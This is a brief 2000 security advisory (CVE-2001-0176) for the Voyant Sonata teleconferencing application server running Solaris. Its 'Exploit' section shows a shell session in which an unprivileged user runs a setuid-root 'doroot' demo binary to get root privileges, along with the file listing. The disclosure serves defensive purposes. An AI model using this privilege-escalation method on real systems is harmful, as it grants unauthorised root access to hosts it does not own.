Voyant Sonata doroot command vulnerability

#799 · 2000-11-30

CVE ID(s): CVE-2001-0176

Notified: 2000-11-30

Description:

Sonata is a teleconfrencing solution developed by Voyant Technologies. This advisory concerns the Sonata application server and bridge componet of the Sonata package. The application server is an Ultra Sparc 5 running Solaris 2.x as required by Voyant technologies. The bridge is an IBM PC running OS/2 Warp. These hosts are usually built in house by Voyant personnel and installed at customer locations by a field engineer.

Exploit:

$ cd /opt/TK/tk4.1/library/demos
$ id
uid=60001(nobody) gid=60001(nobody)
$ ./doroot id
uid=60001(nobody) gid=60001(nobody) euid=0(root) 
$ ls -l doroot
rwsr-xr-x 1 root other 6224 Mar 12 1999 doroot

Notes:

Download: http://www.voyanttechnology.com/

URL: http://www.vapid.dhs.org/advisories/voyant_technologies_sonata_vulnerabilities.html